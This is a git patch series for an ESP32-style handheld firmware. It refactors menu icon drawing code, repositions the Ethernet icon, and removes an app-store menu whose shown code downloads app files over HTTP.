-    tft.drawRoundRect(caseX, caseY, iconW, caseH, iconW / 10, bruceConfig.priColor);
-
-    // Potentiometer
-    tft.fillCircle(potX, potY, iconH / 7, bruceConfig.priColor);
-
-    // Screen
-    tft.drawRect(caseX + iconW / 10, caseY + iconH / 10, iconW / 2, iconH / 3, bruceConfig.priColor);
-
-    // Antenna
-    tft.drawLine(
-        caseX + iconW / 10, caseY, caseX + iconW / 10 + iconH / 3, caseY - iconH / 6, bruceConfig.priColor
-    );
-    tft.fillCircle(caseX + iconW / 10 + iconH / 3, caseY - iconH / 6, iconH / 30, bruceConfig.priColor);
-
-    // Buttons
-    tft.fillCircle(caseX + iconW / 10 + iconH / 8, btnY, iconH / 12, bruceConfig.priColor);
-    tft.fillCircle(caseX + iconW / 10 + iconW / 2 - iconH / 8, btnY, iconH / 12, bruceConfig.priColor);
-}
-========== GpsMenu.cpp ==========
-void GpsMenu::drawIcon(float scale) {
-    clearIconArea();
-    int radius = scale * 18;
-    if (radius % 2 != 0) radius++;
-
-    int tangentX = sqrt(radius * radius - (radius / 2 * radius / 2));
-    int32_t tangentY = radius / 2;
-
-    tft.fillCircle(iconCenterX, iconCenterY - radius / 2, radius, bruceConfig.priColor);
-    tft.fillTriangle(
-        iconCenterX - tangentX,
-        iconCenterY - radius / 2 + tangentY,
-        iconCenterX + tangentX,
-        iconCenterY - radius / 2 + tangentY,
-        iconCenterX,
-        iconCenterY + 1.5 * radius,
-        bruceConfig.priColor
-    );
-    tft.fillCircle(iconCenterX, iconCenterY - radius / 2, radius / 2, bruceConfig.bgColor);
-
-    tft.drawEllipse(iconCenterX, iconCenterY + 1.5 * radius, 1.5 * radius, radius / 2, bruceConfig.priColor);
-}
-========== IRMenu.cpp ==========
-void IRMenu::drawIcon(float scale) {
-    clearIconArea();
-    int iconSize = scale * 60;
-    int radius = scale * 7;
-    int deltaRadius = scale * 10;
-
-    if (iconSize % 2 != 0) iconSize++;
-
-    tft.fillRect(
-        iconCenterX - iconSize / 2, iconCenterY - iconSize / 2, iconSize / 6, iconSize, bruceConfig.priColor
-    );
-    tft.fillRect(
-        iconCenterX - iconSize / 3,
-        iconCenterY - iconSize / 3,
-        iconSize / 6,
-        2 * iconSize / 3,
-        bruceConfig.priColor
-    );
-
-    tft.drawCircle(iconCenterX - iconSize / 6, iconCenterY, radius, bruceConfig.priColor);
-
-    tft.drawArc(
-        iconCenterX - iconSize / 6,
-        iconCenterY,
-        2.5 * radius,
-        2 * radius,
-        220,
-        320,
-        bruceConfig.priColor,
-        bruceConfig.bgColor
-    );
-    tft.drawArc(
-        iconCenterX - iconSize / 6,
-        iconCenterY,
-        2.5 * radius + deltaRadius,
-        2 * radius + deltaRadius,
-        220,
-        320,
-        bruceConfig.priColor,
-        bruceConfig.bgColor
-    );
-    tft.drawArc(
-        iconCenterX - iconSize / 6,
-        iconCenterY,
-        2.5 * radius + 2 * deltaRadius,
-        2 * radius + 2 * deltaRadius,
-        220,
-        320,
-        bruceConfig.priColor,
-        bruceConfig.bgColor
-    );
-}
-========== LoRaMenu.cpp ==========
-void LoRaMenu::drawIcon(float scale) {
-    clearIconArea();
-    scale *= 0.75;
-    int cx = iconCenterX;
-    int cy = iconCenterY + (scale * 8);
-
-#define CALC_X(val) (cx + ((val - 50) * scale))
-#define CALC_Y(val) (cy + ((val - 50) * scale))
-
-    int lineWidth = scale * 4.5;
-    if (lineWidth < 2) lineWidth = 2;
-    int ballRad = scale * 6;
-
-    // --- LEGS UPDATED (Y changed from 95 to 85) ---
-
-    // Left Leg
-    tft.drawWideLine(
-        CALC_X(44), CALC_Y(35), CALC_X(26), CALC_Y(85), lineWidth, bruceConfig.priColor, bruceConfig.priColor
-    );
-    // Right Leg
-    tft.drawWideLine(
-        CALC_X(56), CALC_Y(35), CALC_X(74), CALC_Y(85), lineWidth, bruceConfig.priColor, bruceConfig.priColor
-    );
-
-    // --- CROSS BARS (Unchanged) ---
-
-    // Top Cross Bar
-    tft.drawWideLine(
-        CALC_X(44), CALC_Y(35), CALC_X(56), CALC_Y(35), lineWidth, bruceConfig.priColor, bruceConfig.priColor
-    );
-
-    // Middle Cross Bar
-    tft.drawWideLine(
-        CALC_X(35), CALC_Y(65), CALC_X(65), CALC_Y(65), lineWidth, bruceConfig.priColor, bruceConfig.priColor
-    );
-
-    // --- X-BRACING TOP (Unchanged) ---
-
-    // X-Bracing (Top Section)
-    tft.drawWideLine(
-        CALC_X(44), CALC_Y(35), CALC_X(65), CALC_Y(65), lineWidth, bruceConfig.priColor, bruceConfig.priColor
-    );
-    tft.drawWideLine(
-        CALC_X(56), CALC_Y(35), CALC_X(35), CALC_Y(65), lineWidth, bruceConfig.priColor, bruceConfig.priColor
-    );
-
-    // --- X-BRACING BOTTOM UPDATED (Y changed from 95 to 85) ---
-
-    // X-Bracing (Bottom Section)
-    tft.drawWideLine(
-        CALC_X(35), CALC_Y(65), CALC_X(74), CALC_Y(85), lineWidth, bruceConfig.priColor, bruceConfig.priColor
-    );
-    tft.drawWideLine(
-        CALC_X(65), CALC_Y(65), CALC_X(26), CALC_Y(85), lineWidth, bruceConfig.priColor, bruceConfig.priColor
-    );
-
-    // --- REST IS UNCHANGED ---
-
-    // ball
-    int ballY = CALC_Y(25);
-    tft.fillCircle(cx, ballY, ballRad, bruceConfig.priColor);
-
-    // waves
-    int r1 = scale * 20;
-    int r2 = scale * 32;
-
-    // Right Side (90 degrees +/-)
-    tft.drawArc(cx, ballY, r1 + lineWidth, r1, 60, 120, bruceConfig.priColor, bruceConfig.bgColor);
-    tft.drawArc(cx, ballY, r2 + lineWidth, r2, 60, 120, bruceConfig.priColor, bruceConfig.bgColor);
-
-    // Left Side (270 degrees +/-)
-    tft.drawArc(cx, ballY, r1 + lineWidth, r1, 240, 300, bruceConfig.priColor, bruceConfig.bgColor);
-    tft.drawArc(cx, ballY, r2 + lineWidth, r2, 240, 300, bruceConfig.priColor, bruceConfig.bgColor);
-}
-========== NRF24.cpp ==========
-void NRF24Menu::drawIcon(float scale) {
-    clearIconArea();
-    int iconW = scale * 80;
-    int iconH = scale * 60;
-
-    if (iconW % 2 != 0) iconW++;
-    if (iconH % 2 != 0) iconH++;
-
-    int caseW = 3 * iconW / 4;
-    int caseH = 2 * iconH / 3;
-    int caseX = iconCenterX - iconW / 2;
-    int caseY = iconCenterY - iconH / 6;
-
-    int antW = iconW / 8;
-    int connR = iconH / 20;
-
-    // Case
-    tft.drawRect(caseX, caseY, caseW, caseH, bruceConfig.priColor);
-
-    // Antenna
-    tft.fillRect(caseX + caseW, caseY + caseH / 2 - antW / 2, antW, antW, bruceConfig.priColor);
-    tft.fillRoundRect(
-        caseX + caseW + antW,
-        caseY + caseH - iconH,
-        antW,
-        iconH - caseH / 2 + antW / 2,
-        antW / 2,
-        bruceConfig.priColor
-    );
-
-    // Connectors
-    tft.fillCircle(caseX + caseW / 6, caseY + 1 * caseH / 5, connR, bruceConfig.priColor);
-    tft.fillCircle(caseX + caseW / 6, caseY + 2 * caseH / 5, connR, bruceConfig.priColor);
-    tft.fillCircle(caseX + caseW / 6, caseY + 3 * caseH / 5, connR, bruceConfig.priColor);
-    tft.fillCircle(caseX + caseW / 6, caseY + 4 * caseH / 5, connR, bruceConfig.priColor);
-
-    tft.fillCircle(caseX + caseW / 3, caseY + 1 * caseH / 5, connR, bruceConfig.priColor);
-    tft.fillCircle(caseX + caseW / 3, caseY + 2 * caseH / 5, connR, bruceConfig.priColor);
-    tft.fillCircle(caseX + caseW / 3, caseY + 3 * caseH / 5, connR, bruceConfig.priColor);
-    tft.fillCircle(caseX + caseW / 3, caseY + 4 * caseH / 5, connR, bruceConfig.priColor);
-
-    // Chip
-    tft.fillRect(
-        caseX + caseW - 2 * antW - connR, caseY + caseH / 2 - antW / 2, antW, antW, bruceConfig.priColor
-    );
-}
-========== OthersMenu.cpp ==========
-void OthersMenu::drawIcon(float scale) {
-    clearIconArea();
-
-    // Dynamic radius calculation based on scale for responsive rendering
-    int radius = scale * 7;
-
-    // Center circle
-    tft.fillCircle(iconCenterX, iconCenterY, radius, bruceConfig.priColor);
-
-    // Concentric arcs - dynamically scaled for different screen sizes
-    tft.drawArc(
-        iconCenterX, iconCenterY, 2.5 * radius, 2 * radius, 0, 340, bruceConfig.priColor, bruceConfig.bgColor
-    );
-
-    tft.drawArc(
-        iconCenterX, iconCenterY, 3.5 * radius, 3 * radius, 20, 360, bruceConfig.priColor, bruceConfig.bgColor
-    );
-
-    tft.drawArc(
-        iconCenterX, iconCenterY, 4.5 * radius, 4 * radius, 0, 200, bruceConfig.priColor, bruceConfig.bgColor
-    );
-
-    tft.drawArc(
-        iconCenterX,
-        iconCenterY,
-        4.5 * radius,
-        4 * radius,
-        240,
-        360,
-        bruceConfig.priColor,
-        bruceConfig.bgColor
-    );
-}
-========== RFIDMenu.cpp ==========
-void RFIDMenu::drawIcon(float scale) {
-    clearIconArea();
-    int iconSize = scale * 70;
-    int iconRadius = scale * 7;
-    int deltaRadius = scale * 10;
-
-    if (iconSize % 2 != 0) iconSize++;
-
-    tft.drawRoundRect(
-        iconCenterX - iconSize / 2,
-        iconCenterY - iconSize / 2,
-        iconSize,
-        iconSize,
-        iconRadius,
-        bruceConfig.priColor
-    );
-    tft.fillRect(iconCenterX - iconSize / 2, iconCenterY, iconSize / 2, iconSize / 2, bruceConfig.bgColor);
-
-    tft.drawCircle(
-        iconCenterX - iconSize / 2 + deltaRadius,
-        iconCenterY + iconSize / 2 - deltaRadius,
-        iconRadius,
-        bruceConfig.priColor
-    );
-
-    tft.drawArc(
-        iconCenterX - iconSize / 2 + deltaRadius,
-        iconCenterY + iconSize / 2 - deltaRadius,
-        2.5 * iconRadius,
-        2 * iconRadius,
-        180,
-        270,
-        bruceConfig.priColor,
-        bruceConfig.bgColor
-    );
-    tft.drawArc(
-        iconCenterX - iconSize / 2 + deltaRadius,
-        iconCenterY + iconSize / 2 - deltaRadius,
-        2.5 * iconRadius + deltaRadius,
-        2 * iconRadius + deltaRadius,
-        180,
-        270,
-        bruceConfig.priColor,
-        bruceConfig.bgColor
-    );
-    tft.drawArc(
-        iconCenterX - iconSize / 2 + deltaRadius,
-        iconCenterY + iconSize / 2 - deltaRadius,
-        2.5 * iconRadius + 2 * deltaRadius,
-        2 * iconRadius + 2 * deltaRadius,
-        180,
-        270,
-        bruceConfig.priColor,
-        bruceConfig.bgColor
-    );
-}
-========== RFMenu.cpp ==========
-void RFMenu::drawIcon(float scale) {
-    clearIconArea();
-    int radius = scale * 7;
-    int deltaRadius = scale * 10;
-    int triangleSize = scale * 30;
-
-    if (triangleSize % 2 != 0) triangleSize++;
-
-    // Body
-    tft.fillCircle(iconCenterX, iconCenterY - radius, radius, bruceConfig.priColor);
-    tft.fillTriangle(
-        iconCenterX,
-        iconCenterY,
-        iconCenterX - triangleSize / 2,
-        iconCenterY + triangleSize,
-        iconCenterX + triangleSize / 2,
-        iconCenterY + triangleSize,
-        bruceConfig.priColor
-    );
-
-    // Left Arcs
-    tft.drawArc(
-        iconCenterX,
-        iconCenterY - radius,
-        2.5 * radius,
-        2 * radius,
-        40,
-        140,
-        bruceConfig.priColor,
-        bruceConfig.bgColor
-    );
-    tft.drawArc(
-        iconCenterX,
-        iconCenterY - radius,
-        2.5 * radius + deltaRadius,
-        2 * radius + deltaRadius,
-        40,
-        140,
-        bruceConfig.priColor,
-        bruceConfig.bgColor
-    );
-    tft.drawArc(
-        iconCenterX,
-        iconCenterY - radius,
-        2.5 * radius + 2 * deltaRadius,
-        2 * radius + 2 * deltaRadius,
-        40,
-        140,
-        bruceConfig.priColor,
-        bruceConfig.bgColor
-    );
-
-    // Right Arcs
-    tft.drawArc(
-        iconCenterX,
-        iconCenterY - radius,
-        2.5 * radius,
-        2 * radius,
-        220,
-        320,
-        bruceConfig.priColor,
-        bruceConfig.bgColor
-    );
-    tft.drawArc(
-        iconCenterX,
-        iconCenterY - radius,
-        2.5 * radius + deltaRadius,
-        2 * radius + deltaRadius,
-        220,
-        320,
-        bruceConfig.priColor,
-        bruceConfig.bgColor
-    );
-    tft.drawArc(
-        iconCenterX,
-        iconCenterY - radius,
-        2.5 * radius + 2 * deltaRadius,
-        2 * radius + 2 * deltaRadius,
-        220,
-        320,
-        bruceConfig.priColor,
-        bruceConfig.bgColor
-    );
-}
-========== ScriptsMenu.cpp ==========
-void ScriptsMenu::drawIcon(float scale) {
-    clearIconArea();
-
-    int iconW = scale * 40;
-    int iconH = scale * 60;
-
-    if (iconW % 2 != 0) iconW++;
-    if (iconH % 2 != 0) iconH++;
-
-    int foldSize = iconH / 4;
-    int arrowSize = iconW / 10;
-    int arrowPadX = 2 * arrowSize;
-    int arrowPadBottom = 3 * arrowPadX;
-    int slashSize = 2 * arrowSize;
-
-    // File
-    tft.drawRect(iconCenterX - iconW / 2, iconCenterY - iconH / 2, iconW, iconH, bruceConfig.priColor);
-    tft.fillRect(
-        iconCenterX + iconW / 2 - foldSize, iconCenterY - iconH / 2, foldSize, foldSize, bruceConfig.bgColor
-    );
-    tft.drawTriangle(
-        (iconCenterX + iconW / 2 - foldSize),
-        (iconCenterY - iconH / 2),
-        (iconCenterX + iconW / 2 - foldSize),
-        (iconCenterY - iconH / 2 + foldSize - 1),
-        (iconCenterX + iconW / 2 - 1),
-        (iconCenterY - iconH / 2 + foldSize - 1),
-        bruceConfig.priColor
-    );
-
-    // Left Arrow
-    tft.drawLine(
-        iconCenterX - iconW / 2 + arrowPadX,
-        iconCenterY + iconH / 2 - arrowPadBottom,
-        iconCenterX - iconW / 2 + arrowPadX + arrowSize,
-        iconCenterY + iconH / 2 - arrowPadBottom + arrowSize,
-        bruceConfig.priColor
-    );
-    tft.drawLine(
-        iconCenterX - iconW / 2 + arrowPadX,
-        iconCenterY + iconH / 2 - arrowPadBottom,
-        iconCenterX - iconW / 2 + arrowPadX + arrowSize,
-        iconCenterY + iconH / 2 - arrowPadBottom - arrowSize,
-        bruceConfig.priColor
-    );
-
-    // Slash
-    tft.drawLine(
-        iconCenterX - slashSize / 2,
-        iconCenterY + iconH / 2 - arrowPadBottom + arrowSize,
-        iconCenterX + slashSize / 2,
-        iconCenterY + iconH / 2 - arrowPadBottom - arrowSize,
-        bruceConfig.priColor
-    );
-
-    // Right Arrow
-    tft.drawLine(
-        iconCenterX + iconW / 2 - arrowPadX,
-        iconCenterY + iconH / 2 - arrowPadBottom,
-        iconCenterX + iconW / 2 - arrowPadX - arrowSize,
-        iconCenterY + iconH / 2 - arrowPadBottom + arrowSize,
-        bruceConfig.priColor
-    );
-    tft.drawLine(
-        iconCenterX + iconW / 2 - arrowPadX,
-        iconCenterY + iconH / 2 - arrowPadBottom,
-        iconCenterX + iconW / 2 - arrowPadX - arrowSize,
-        iconCenterY + iconH / 2 - arrowPadBottom - arrowSize,
-        bruceConfig.priColor
-    );
-}
-========== WifiMenu.cpp ==========
-void WifiMenu::drawIcon(float scale) {
-    clearIconArea();
-    int deltaY = scale * 20;
-    int radius = scale * 6;
-
-    tft.fillCircle(iconCenterX, iconCenterY + deltaY, radius, bruceConfig.priColor);
-    tft.drawArc(
-        iconCenterX,
-        iconCenterY + deltaY,
-        deltaY + radius,
-        deltaY,
-        130,
-        230,
-        bruceConfig.priColor,
-        bruceConfig.bgColor
-    );
-    tft.drawArc(
-        iconCenterX,
-        iconCenterY + deltaY,
-        2 * deltaY + radius,
-        2 * deltaY,
-        130,
-        230,
-        bruceConfig.priColor,
-        bruceConfig.bgColor
-    );
-}
diff --git a/src/core/menu_items/EthernetMenu.cpp b/src/core/menu_items/EthernetMenu.cpp
index 326117de9..98a134e34 100644
--- a/src/core/menu_items/EthernetMenu.cpp
+++ b/src/core/menu_items/EthernetMenu.cpp
@@ -61,62 +61,63 @@ void EthernetMenu::optionsMenu() {
 void EthernetMenu::drawIcon(float scale) {
     clearIconArea();
 
-    int iconW = scale * 30;
-    int iconH = scale * 40;
-
-    int Y = iconCenterY - 25;
-
-    int smallerH = scale * 16;
-
-    int starterX = iconCenterX - iconW; // X of the first side
-    int finalX = iconCenterX + iconW;
-
-    int lineWidth = 2;
-
-    // Draw the main socket structure
-    /*
-    |-----|
-    |     |
-    |     |
-    */
-    tft.drawRect(starterX, Y, lineWidth, iconH, bruceConfig.priColor);
-
-    tft.drawRect(finalX, Y, lineWidth, iconH, bruceConfig.priColor);
-
-    tft.drawRect(starterX, Y, iconW * 2, lineWidth, bruceConfig.priColor);
-
-    // Draw the shorter side to close the first part of socket
-    /*
-    |-----|
-    |     |
-    |-   -|
-    */
-    tft.drawRect(starterX, Y + iconH, smallerH, lineWidth, bruceConfig.priColor);
-
-    tft.drawRect(finalX - smallerH + lineWidth, Y + iconH, smallerH, lineWidth, bruceConfig.priColor);
-
-    // Draw the final enclosure
-    /*
-    |------|
-    |      |
-    |-    -|
-      |  |
-    */
-    tft.drawRect(starterX + smallerH, Y + iconH, lineWidth, smallerH, bruceConfig.priColor);
-    tft.drawRect(finalX - smallerH + lineWidth, Y + iconH, lineWidth, smallerH, bruceConfig.priColor);
-
-    // Draw the four cable pin at a distance of 15 pixel
-    for (size_t i = 0; i < 4; i++) {
-        tft.drawRect(starterX + 15 + (i * 15), Y, lineWidth, 16, bruceConfig.priColor);
+    int cx = iconCenterX;
+    int cy = iconCenterY;
+
+    // Dimensions
+    int w = 48 * scale;
+    int h = 40 * scale;
+    // Make sure they remain even for absolute symmetry
+    if (w % 2 != 0) w++;
+    if (h % 2 != 0) h++;
+
+    int x1 = cx - w / 2;
+    int x2 = cx + w / 2;
+    int y1 = cy - h / 2;
+    int y2 = cy + h / 2;
+
+    int t = 3 * scale; // Thickness of the connector walls
+    if (t < 2) t = 2;
+
+    int nw = 20 * scale; // Notch width
+    if (nw % 2 != 0) nw++;
+    int nh = 12 * scale; // Notch height
+
+    // --- Outer Frame ---
+    // Top border
+    tft.fillRect(x1, y1, w, t, bruceConfig.priColor);
+    // Left border
+    tft.fillRect(x1, y1, t, h, bruceConfig.priColor);
+    // Right border
+    tft.fillRect(x2 - t, y1, t, h, bruceConfig.priColor);
+    
+    // Bottom Left piece
+    int sideW = (w - nw) / 2 + t;
+    tft.fillRect(x1, y2 - t, sideW, t, bruceConfig.priColor);
+    // Bottom Right piece
+    tft.fillRect(x2 - sideW, y2 - t, sideW, t, bruceConfig.priColor);
+
+    // Notch Vertical Left
+    tft.fillRect(cx - nw / 2, y2 - nh - t, t, nh + t, bruceConfig.priColor);
+    // Notch Vertical Right
+    tft.fillRect(cx + nw / 2 - t, y2 - nh - t, t, nh + t, bruceConfig.priColor);
+    // Notch Top Horizontal
+    tft.fillRect(cx - nw / 2, y2 - nh - t, nw, t, bruceConfig.priColor);
+
+    // --- 8 Pins ---
+    int pinW = 2 * scale;
+    if (pinW < 1) pinW = 1;
+    int pinH = (h / 2) - t; // Make pins hang down halfway inside
+
+    int step = (28 * scale) / 7; // Distribute 8 pins over 7 gaps
+    if (step < 2) step = 2;
+    int totalSpread = step * 7; 
+    int firstPinX = cx - (totalSpread / 2);
+    
+    for (int i = 0; i < 8; i++) {
+        int px = firstPinX + (i * step) - (pinW / 2);
+        // Draw pins clearly separated
+        tft.fillRect(px, y1 + t, pinW, pinH, bruceConfig.priColor);
     }
-
-    // Close the socket calculating width of this side removing from total width, the size of the smaller size
-    tft.drawRect(
-        starterX + smallerH,
-        Y + iconH + smallerH,
-        (iconW * 2) - (smallerH * 2) + 4,
-        lineWidth,
-        bruceConfig.priColor
-    );
 }
 #endif

From 0fb02d0a6061669941301d40be23d3ef9721ed37 Mon Sep 17 00:00:00 2001
From: Franco <181183464+FrannnnDev@users.noreply.github.com>
Date: Mon, 23 Mar 2026 01:00:08 -0300
Subject: [PATCH 16/73] Refactor EthernetMenu::drawIcon for clarity and
 structure

---
 src/core/menu_items/EthernetMenu.cpp | 32 +++++++++++-----------------
 1 file changed, 12 insertions(+), 20 deletions(-)

diff --git a/src/core/menu_items/EthernetMenu.cpp b/src/core/menu_items/EthernetMenu.cpp
index 98a134e34..4066a1d65 100644
--- a/src/core/menu_items/EthernetMenu.cpp
+++ b/src/core/menu_items/EthernetMenu.cpp
@@ -61,13 +61,11 @@ void EthernetMenu::optionsMenu() {
 void EthernetMenu::drawIcon(float scale) {
     clearIconArea();
 
+    // Dimensions
     int cx = iconCenterX;
     int cy = iconCenterY;
-
-    // Dimensions
     int w = 48 * scale;
     int h = 40 * scale;
-    // Make sure they remain even for absolute symmetry
     if (w % 2 != 0) w++;
     if (h % 2 != 0) h++;
 
@@ -76,47 +74,41 @@ void EthernetMenu::drawIcon(float scale) {
     int y1 = cy - h / 2;
     int y2 = cy + h / 2;
 
-    int t = 3 * scale; // Thickness of the connector walls
+    // Thickness, Width & Height
+    int t = 3 * scale;
     if (t < 2) t = 2;
 
-    int nw = 20 * scale; // Notch width
+    int nw = 20 * scale;
     if (nw % 2 != 0) nw++;
-    int nh = 12 * scale; // Notch height
+    int nh = 12 * scale;
 
-    // --- Outer Frame ---
-    // Top border
+
+    // Borders
     tft.fillRect(x1, y1, w, t, bruceConfig.priColor);
-    // Left border
+
     tft.fillRect(x1, y1, t, h, bruceConfig.priColor);
-    // Right border
     tft.fillRect(x2 - t, y1, t, h, bruceConfig.priColor);
     
-    // Bottom Left piece
+    // Pieces
     int sideW = (w - nw) / 2 + t;
     tft.fillRect(x1, y2 - t, sideW, t, bruceConfig.priColor);
-    // Bottom Right piece
     tft.fillRect(x2 - sideW, y2 - t, sideW, t, bruceConfig.priColor);
-
-    // Notch Vertical Left
     tft.fillRect(cx - nw / 2, y2 - nh - t, t, nh + t, bruceConfig.priColor);
-    // Notch Vertical Right
     tft.fillRect(cx + nw / 2 - t, y2 - nh - t, t, nh + t, bruceConfig.priColor);
-    // Notch Top Horizontal
     tft.fillRect(cx - nw / 2, y2 - nh - t, nw, t, bruceConfig.priColor);
 
-    // --- 8 Pins ---
+    // 8 Pins
     int pinW = 2 * scale;
     if (pinW < 1) pinW = 1;
-    int pinH = (h / 2) - t; // Make pins hang down halfway inside
+    int pinH = (h / 2) - t;
 
-    int step = (28 * scale) / 7; // Distribute 8 pins over 7 gaps
+    int step = (28 * scale) / 7;
     if (step < 2) step = 2;
     int totalSpread = step * 7; 
     int firstPinX = cx - (totalSpread / 2);
     
     for (int i = 0; i < 8; i++) {
         int px = firstPinX + (i * step) - (pinW / 2);
-        // Draw pins clearly separated
         tft.fillRect(px, y1 + t, pinW, pinH, bruceConfig.priColor);
     }
 }

From 4f54a6f5421b96d5b6515934b9081eed2c67ef9f Mon Sep 17 00:00:00 2001
From: ! FrannnDev <181183464+fastdexcorp@users.noreply.github.com>
Date: Mon, 23 Mar 2026 02:26:50 -0300
Subject: [PATCH 17/73] Moved Ethernet Icon

---
 src/core/menu_items/EthernetMenu.cpp | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/src/core/menu_items/EthernetMenu.cpp b/src/core/menu_items/EthernetMenu.cpp
index 4066a1d65..28b096ddf 100644
--- a/src/core/menu_items/EthernetMenu.cpp
+++ b/src/core/menu_items/EthernetMenu.cpp
@@ -63,7 +63,7 @@ void EthernetMenu::drawIcon(float scale) {
 
     // Dimensions
     int cx = iconCenterX;
-    int cy = iconCenterY;
+    int cy = iconCenterY + (4 * scale); // Centered and slightly lower
     int w = 48 * scale;
     int h = 40 * scale;
     if (w % 2 != 0) w++;
@@ -88,7 +88,7 @@ void EthernetMenu::drawIcon(float scale) {
 
     tft.fillRect(x1, y1, t, h, bruceConfig.priColor);
     tft.fillRect(x2 - t, y1, t, h, bruceConfig.priColor);
-    
+
     // Pieces
     int sideW = (w - nw) / 2 + t;
     tft.fillRect(x1, y2 - t, sideW, t, bruceConfig.priColor);
@@ -104,9 +104,9 @@ void EthernetMenu::drawIcon(float scale) {
 
     int step = (28 * scale) / 7;
     if (step < 2) step = 2;
-    int totalSpread = step * 7; 
+    int totalSpread = step * 7;
     int firstPinX = cx - (totalSpread / 2);
-    
+
     for (int i = 0; i < 8; i++) {
         int px = firstPinX + (i * step) - (pinW / 2);
         tft.fillRect(px, y1 + t, pinW, pinH, bruceConfig.priColor);

From a4193bf290b96aba4f09190e92375fd2edde75f0 Mon Sep 17 00:00:00 2001
From: Franco <181183464+wcd6@users.noreply.github.com>
Date: Thu, 26 Mar 2026 21:44:04 -0300
Subject: [PATCH 18/73] Update main_menu.h

---
 src/core/main_menu.h | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/src/core/main_menu.h b/src/core/main_menu.h
index 5653a577a..ce28f98b2 100644
--- a/src/core/main_menu.h
+++ b/src/core/main_menu.h
@@ -20,7 +20,6 @@
 #include "menu_items/ScriptsMenu.h"
 #include "menu_items/WifiMenu.h"
 #include "menu_items/AppsMenu.h"
-#include "menu_items/AppStoreMenu.h"
 class MainMenu {
 public:
     AppsMenu appsMenu;
@@ -38,9 +37,6 @@ class MainMenu {
     RFMenu rfMenu;
     ScriptsMenu scriptsMenu;
     WifiMenu wifiMenu;
-#if !defined(LITE_VERSION) && !defined(DISABLE_INTERPRETER)
-    AppStoreMenu appStoreMenu;
-#endif
 #if !defined(LITE_VERSION)
     LoRaMenu loraMenu;
     EthernetMenu ethernetMenu;

From 858699486ae9e99cbd1e13d61c510d0a080e6d60 Mon Sep 17 00:00:00 2001
From: Franco <181183464+wcd6@users.noreply.github.com>
Date: Thu, 26 Mar 2026 21:44:48 -0300
Subject: [PATCH 19/73] Remove appStoreMenu from main menu in non-lite builds

---
 src/core/main_menu.cpp | 1 -
 1 file changed, 1 deletion(-)

diff --git a/src/core/main_menu.cpp b/src/core/main_menu.cpp
index e6f4cf9d0..e727f3031 100644
--- a/src/core/main_menu.cpp
+++ b/src/core/main_menu.cpp
@@ -29,7 +29,6 @@ MainMenu::MainMenu() {
         &othersMenu,
 #if !defined(LITE_VERSION) && !defined(DISABLE_INTERPRETER)
         &appsMenu,
-        &appStoreMenu,
 #endif
         &configMenu,
     };

From 618bf339b9f05dfda7d2cb4cc0feb745200dbb41 Mon Sep 17 00:00:00 2001
From: Franco <181183464+wcd6@users.noreply.github.com>
Date: Thu, 26 Mar 2026 21:45:40 -0300
Subject: [PATCH 20/73] Delete src/core/menu_items/AppStoreMenu.cpp

---
 src/core/menu_items/AppStoreMenu.cpp | 359 ---------------------------
 1 file changed, 359 deletions(-)
 delete mode 100644 src/core/menu_items/AppStoreMenu.cpp

diff --git a/src/core/menu_items/AppStoreMenu.cpp b/src/core/menu_items/AppStoreMenu.cpp
deleted file mode 100644
index f79d8a146..000000000
--- a/src/core/menu_items/AppStoreMenu.cpp
+++ /dev/null
@@ -1,359 +0,0 @@
-#include "AppStoreMenu.h"
-
-#if !defined(LITE_VERSION) && !defined(DISABLE_INTERPRETER)
-
-#include "core/display.h"
-#include "core/sd_functions.h"
-#include "core/mykeyboard.h"
-#include "core/wifi/wifi_common.h"
-#include "core/utils.h"
-#include <globals.h>
-#include <HTTPClient.h>
-#include <ArduinoJson.h>
-#include <WiFi.h>
-
-#define AS_HOST "http://ghp.iceis.co.uk"
-#define AS_INST "/BruceAppStore/installed.json"
-#define AS_CACHE "/BruceAppStore/cache/"
-
-static int _destFs = 0;
-static FS *_afs = nullptr;
-
-static void _initFs() {
-    setupSdCard();
-    _afs = (_destFs == 1 && sdcardMounted) ? (FS *)&SD : (FS *)&LittleFS;
-    const char *dirs[] = {"/BruceAppStore", AS_CACHE};
-    for (auto d : dirs)
-        if (!_afs->exists(d)) _afs->mkdir(d);
-}
-
-static bool _needWifi() {
-    if (WiFi.status() == WL_CONNECTED) return true;
-    wifiConnectMenu(WIFI_STA);
-    if (WiFi.status() != WL_CONNECTED) {
-        displayError("WiFi not connected", true);
-        return false;
-    }
-    return true;
-}
-
-static void _mkDirRecursive(String path) {
-    int start = 0;
-    while (true) {
-        int idx = path.indexOf('/', start + 1);
-        if (idx < 0) break;
-        String p = path.substring(0, idx);
-        if (!_afs->exists(p)) _afs->mkdir(p);
-        start = idx;
-    }
-}
-
-static String _httpGet(const String &url) {
-    HTTPClient http;
-    http.begin(url);
-    http.setFollowRedirects(HTTPC_STRICT_FOLLOW_REDIRECTS);
-    http.setTimeout(10000);
-    String r;
-    if (http.GET() == 200) r = http.getString();
-    http.end();
-    return r;
-}
-
-static bool _httpSave(const String &url, const String &path) {
-    HTTPClient http;
-    http.begin(url);
-    http.setFollowRedirects(HTTPC_STRICT_FOLLOW_REDIRECTS);
-    http.setTimeout(15000);
-    if (http.GET() != 200) {
-        http.end();
-        return false;
-    }
-    int sl = path.lastIndexOf('/');
-    if (sl > 0) {
-        String d = path.substring(0, sl);
-        _mkDirRecursive(d + "/");
-    }
-    File f = _afs->open(path, FILE_WRITE);
-    if (!f) {
-        http.end();
-        return false;
-    }
-    http.writeToStream(&f);
-    f.close();
-    http.end();
-    return true;
-}
-
-static String _instVer(const String &slug) {
-    File f = _afs->open(AS_INST, FILE_READ);
-    if (!f) return "";
-    JsonDocument doc;
-    deserializeJson(doc, f);
-    f.close();
-    if (doc[slug].is<JsonObject>()) return doc[slug]["version"].as<String>();
-    return "";
-}
-
-static void _doInstall(String slug, String appName) {
-    displayTextLine("Fetching metadata...", false);
-    String url = String(AS_HOST) + "/service/main/repositories/" + slug + "/metadata.json";
-    url.replace(" ", "%20");
-    String raw = _httpGet(url);
-    if (raw.isEmpty()) {
-        displayError("Fetch failed", true);
-        return;
-    }
-
-    JsonDocument meta;
-    if (deserializeJson(meta, raw)) {
-        displayError("Parse error", true);
-        return;
-    }
-
-    JsonArray files = meta["files"].as<JsonArray>();
-    String cat = meta["category"].as<String>();
-    String bp = meta["path"].as<String>();
-    String owner = meta["owner"].as<String>();
-    String repo = meta["repo"].as<String>();
